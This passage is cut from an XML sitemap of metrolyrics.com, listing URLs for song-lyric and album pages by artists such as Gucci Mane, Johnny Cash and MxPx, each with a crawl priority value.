<loc>http://www.metrolyrics.com/15-minutes-past-the-diamond-lyrics-gucci-mane.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/15-year-killing-spree-album-cannibal-corpse.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1500-miles-lyrics-stephen-speaks.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/16-biggest-hits-album-johnny-cash.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/16-bit-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/16-days-lyrics-appleseed-cast.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/16-fever-lyrics-gucci-mane.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/16-hoes-lyrics-too-hort.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/16-horsepower-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/16-stitch-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/169-album-nadiya.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/16volt-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/17-album-mxpx.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/17-years-lyrics-bad-astronaut.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/175-lyrics-big-d-and-the-kids-table.html</loc> <priority>0.4</priority> &..